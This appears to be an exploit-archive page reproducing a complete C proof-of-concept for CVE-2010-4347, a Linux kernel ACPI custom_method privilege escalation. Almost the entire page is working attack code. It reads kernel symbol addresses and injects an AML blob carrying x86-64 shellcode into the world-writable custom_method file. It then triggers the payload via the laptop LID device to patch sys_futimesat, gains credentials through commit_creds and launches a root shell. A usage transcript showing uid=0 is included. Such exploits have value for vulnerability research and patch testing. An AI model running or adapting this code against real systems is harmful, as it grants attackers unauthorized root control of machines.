ExploitFixes
Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation - [CVE: 2010-4347] 2010-12-18 10:15:55

/*
* american-sign-language.c
*
* Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation
* Jon Oberheide <[email protected]>
* http://jon.oberheide.org
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4347
*
* This custom_method file allows to inject custom ACPI methods into the ACPI
* interpreter tables. This control file was introduced with world writeable
* permissions in Linux Kernel 2.6.33.
*
* Usage:
*
* $ gcc american-sign-language.c -o american-sign-language
* $ ./american-sign-language
* [+] resolving required symbols...
* [+] checking for world-writable custom_method...
* [+] checking for an ACPI LID device...
* [+] poisoning ACPI tables via custom_method...
* [+] triggering ACPI payload via LID device...
* [+] triggering exploit via futimesat...
* [+] launching root shell!
* # id
* uid=0(root) gid=0(root) groups=0(root)
*
* Notes:
*
* This vuln allows us to write custom ACPI methods and load them into the
* kernel as an unprivileged user. We compile some fancy ASL down to AML
* that overrides the ACPI method used when the status of the LID device is
* queried (eg. 'open' or 'closed' lid on a laptop). When the method is
* triggered, it overlays an OperationRegion on the physical address where
* sys_futimesat is located and overwrites the memory via the Store to
* escalate privileges whenever sys_futimesat is called.
*
* The payload is 64-bit only and depends on the existence of a LID device
* (eg. laptop), but the exploit will still tell you if you're vulnerable
* regardless. If you don't know how to work around these limitations, you
* probably shouldn't be running this in the first place. :-P
*
* Props to taviso, spender, kees, bliss, pipacs, twiz, stealth, and #brownpants
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/utsname.h>

/*
* The ASL payload looks like:
*
* DefinitionBlock ("lid.aml", "SSDT", 2, "", "", 0x00001001) {
* Method (\_SB.LID._LID, 0, NotSerialized) {
* OperationRegion (KMEM, SystemMemory, PHYADDR, 0x392)
* Field(KMEM, AnyAcc, NoLock, Preserve) {
* HACK, 0x392
* }
* Store (Buffer () {
* 0x55, 0x48, 0x89, 0xe5, 0x53, 0x48, 0x83, 0xec,
* 0x08, 0x48, 0xc7, 0xc3, 0x24, 0x24, 0x24, 0x24,
* 0x48, 0xc7, 0xc0, 0x24, 0x24, 0x24, 0x24, 0xbf,
* 0x00, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x89,
* 0xc7, 0xff, 0xd3, 0x48, 0xc7, 0xc0, 0xb7, 0xff,
* 0xff, 0xff, 0x48, 0x83, 0xc4, 0x08, 0x5b, 0xc9,
* 0xc3 }, HACK)
* Return (One)
* }
* }
*
* Feel free to `iasl -d` this is you don't trust me! ;-)
*/
#define PAYLOAD_AML \
"\x53\x53\x44\x54\x90\x00\x00\x00\x02\x3e\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00\x49\x4e\x54\x4c" \
"\x21\x05\x09\x20\x14\x4b\x06\x5c\x2f\x03\x5f\x53\x42\x5f\x4c\x49" \
"\x44\x5f\x5f\x4c\x49\x44\x00\x5b\x80\x4b\x4d\x45\x4d\x00\x0c\xe0" \
"\x61\x17\x01\x0b\x92\x03\x5b\x81\x0c\x4b\x4d\x45\x4d\x00\x48\x41" \
"\x43\x4b\x42\x39\x70\x11\x34\x0a\x31\x55\x48\x89\xe5\x53\x48\x83" \
"\xec\x08\x48\xc7\xc3\x24\x24\x24\x24\x48\xc7\xc0\x24\x24\x24\x24" \
"\xbf\x00\x00\x00\x00\xff\xd0\x48\x89\xc7\xff\xd3\x48\xc7\xc0\xb7" \
"\xff\xff\xff\x48\x83\xc4\x08\x5b\xc9\xc3\x48\x41\x43\x4b\xa4\x01"
#define PAYLOAD_LEN 144

#define CUSTOM_METHOD "/sys/kernel/debug/acpi/custom_method"
#define HEY_ITS_A_LID "/proc/acpi/button/lid/LID/state"

unsigned long
get_symbol(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;

f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}

repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}

fclose(f);
if (rep)
return 0;
fallback:
uname(&ver);
if (strncmp(ver.release, "2.6", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}

int
main(int argc, char **argv)
{
int ret;
FILE *fp;
char buf[64];
struct stat sb;
char payload[PAYLOAD_LEN] = PAYLOAD_AML;
unsigned long sys_futimesat, prepare_kernel_cred, commit_creds;

printf("[+] resolving required symbols...\n");

sys_futimesat = get_symbol("sys_futimesat");
if (!sys_futimesat) {
printf("[-] sys_futimesat symbol not found, aborting!\n");
exit(1);
}

prepare_kernel_cred = get_symbol("prepare_kernel_cred");
if (!prepare_kernel_cred) {
printf("[-] prepare_kernel_cred symbol not found, aborting!\n");
exit(1);
}

commit_creds = get_symbol("commit_creds");
if (!commit_creds) {
printf("[-] commit_creds symbol not found, aborting!\n");
exit(1);
}

printf("[+] checking for world-writable custom_method...\n");

ret = stat(CUSTOM_METHOD, &sb);
if (ret < 0) {
printf("[-] custom_method not found, kernel is not vulnerable!\n");
exit(1);
}

if (!(sb.st_mode & S_IWOTH)) {
printf("[-] custom_method not world-writable, kernel is not vulnerable!\n");
exit(1);
}

printf("[+] checking for an ACPI LID device...\n");

ret = stat(HEY_ITS_A_LID, &sb);
if (ret < 0) {
printf("[-] ACPI LID device not found, but kernel is still vulnerable!\n");
exit(1);
}

if (sizeof(sys_futimesat) != 8) {
printf("[-] payload is 64-bit only, but kernel is still vulnerable!\n");
exit(1);
}

sys_futimesat &= ~0xffffffff80000000;
memcpy(&payload[63], &sys_futimesat, 4);
memcpy(&payload[101], &commit_creds, 4);
memcpy(&payload[108], &prepare_kernel_cred, 4);

printf("[+] poisoning ACPI tables via custom_method...\n");

fp = fopen(CUSTOM_METHOD, "w");
fwrite(payload, 1, sizeof(payload), fp);
fclose(fp);

printf("[+] triggering ACPI payload via LID device...\n");

fp = fopen(HEY_ITS_A_LID, "r");
fread(&buf, 1, sizeof(buf), fp);
fclose(fp);

printf("[+] triggering exploit via futimesat...\n");

ret = futimesat(0, "/tmp", NULL);

if (ret != -1 || errno != EDOTDOT) {
printf("[-] unexpected futimesat errno, exploit failed!\n");
exit(1);
}

if (getuid() != 0) {
printf("[-] privileges not escalated, exploit failed!\n");
exit(1);
}

printf("[+] launching root shell!\n");
execl("/bin/sh", "/bin/sh", NULL);
}